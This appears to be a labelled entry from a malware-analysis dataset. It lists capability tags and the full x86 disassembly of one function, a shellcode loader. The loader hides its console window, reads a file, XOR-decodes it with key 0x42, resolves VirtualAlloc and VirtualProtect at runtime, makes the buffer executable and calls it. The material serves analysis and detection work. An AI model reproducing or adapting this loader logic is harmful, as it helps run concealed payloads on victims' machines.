Function at 0x401730
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x413909
mov eax, dword fs:[0]
push eax
sub esp, 0xd8
push ebx
push esi
push edi
mov eax, dword [0x41929c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edi, edi
push edi
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, [ebp - 0xe4]
push eax
call fcn.00402100
mov dword [ebp - 4], edi
mov edx, dword [ebp - 0xe4]
mov eax, dword [edx + 4]
mov ecx, dword [ebp + eax - 0xd8]
test cl, 6
je 0x4017f5
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x14], ecx
mov dword [ebp + eax - 0xe4], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
lea ecx, [ebp - 0xd4]
mov dword [ebp - 4], 1
call fcn.00402210
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0xe4]
mov eax, dword [edx + 4]
lea ecx, [ebp - 0x7c]
mov dword [ebp + eax - 0xe4], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
push ecx
mov dword [ebp - 0x7c], vtable.std::ios_base.0
call fcn.004101a4
add esp, 4
lea eax, [edi + 1]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp + eax - 0xd8]
test cl, 6
jne 0x401824
mov ecx, dword [ebp + eax - 0xac]
mov edx, dword [ecx]
mov edx, dword [edx + 0x28]
push 1
push 1
push edi
push edi
lea eax, [ebp - 0x34]
push eax
call edx
mov eax, dword [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x34]
jmp 0x401835
mov ecx, dword [0x416a08]
mov esi, dword [0x416a0c]
xor eax, eax
mov dword [ebp - 0x28], edi
cdq
mov edi, eax
mov ebx, edx
add edi, ecx
adc ebx, esi
lea esi, [ebp - 0xe4]
call fcn.00401ce0
xor esi, esi
mov eax, edi
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], esi
call fcn.00402f80
push ebx
push edi
mov byte [ebp - 4], 2
mov edi, dword [ebp - 0x2c]
push edi
lea eax, [ebp - 0xe4]
push eax
call fcn.00401ba0
mov ecx, dword [eax]
mov edx, dword [ecx + 4]
test byte [edx + eax + 0xc], 6
je 0x4018fe
cmp edi, esi
je 0x40188d
push edi
call fcn.00404cc8
add esp, 4
mov ecx, dword [ebp - 0xe4]
mov edx, dword [ecx + 4]
lea eax, [ebp - 0x7c]
mov dword [ebp - 0x14], eax
mov dword [ebp + edx - 0xe4], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
lea ecx, [ebp - 0xd4]
mov dword [ebp - 4], 3
call fcn.00402210
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0xe4]
mov ecx, dword [eax + 4]
lea edx, [ebp - 0x7c]
mov dword [ebp + ecx - 0xe4], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
push edx
mov dword [ebp - 0x7c], vtable.std::ios_base.0
call fcn.004101a4
add esp, 4
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0xd4]
call fcn.00403180
test eax, eax
jne 0x401940
mov eax, dword [ebp - 0xe4]
mov ecx, dword [eax + 4]
mov eax, dword [ebp + ecx - 0xd8]
lea ecx, [ebp + ecx - 0xe4]
or eax, 2
cmp dword [ecx + 0x38], esi
jne 0x40192f
or eax, 4
and eax, 0x17
mov dword [ecx + 0xc], eax
test dword [ecx + 0x10], eax
je 0x401940
push esi
call fcn.00401500
mov ebx, dword [ebp - 0x28]
xor eax, eax
sub ebx, edi
je 0x401959
lea esp, [esp]
xor byte [eax + edi], 0x42
inc eax
cmp eax, ebx
jb 0x401950
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.VirtualAlloc
push str.kernel32.dll
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.VirtualProtect
push str.kernel32.dll
mov dword [ebp - 0x10], eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.VirtualFree
push str.kernel32.dll
mov dword [ebp - 0x1c], eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
push 0x3000
push ebx
push 0
mov dword [ebp - 0x14], eax
call dword [ebp - 0x10]
mov esi, eax
mov dword [ebp - 0x10], esi
test esi, esi
jne 0x4019ed
test edi, edi
je 0x4019c4
push edi
call fcn.00404cc8
add esp, 4
lea ecx, [ebp - 0xe4]
mov dword [ebp - 4], 0xffffffff
call fcn.00401a50
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebx
push edi
push esi
call fcn.00407410
add esp, 0xc
lea ecx, [ebp - 0x18]
push ecx
push 0x20
push ebx
push esi
call dword [ebp - 0x1c]
test eax, eax
je 0x4019b7
mov eax, dword [ebp - 0x10]
call eax
push 0x8000
push 0
push esi
call dword [ebp - 0x14]
test edi, edi
je 0x401a24
push edi
call fcn.00404cc8
add esp, 4
lea ecx, [ebp - 0xe4]
mov dword [ebp - 4], 0xffffffff
call fcn.00401a50
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret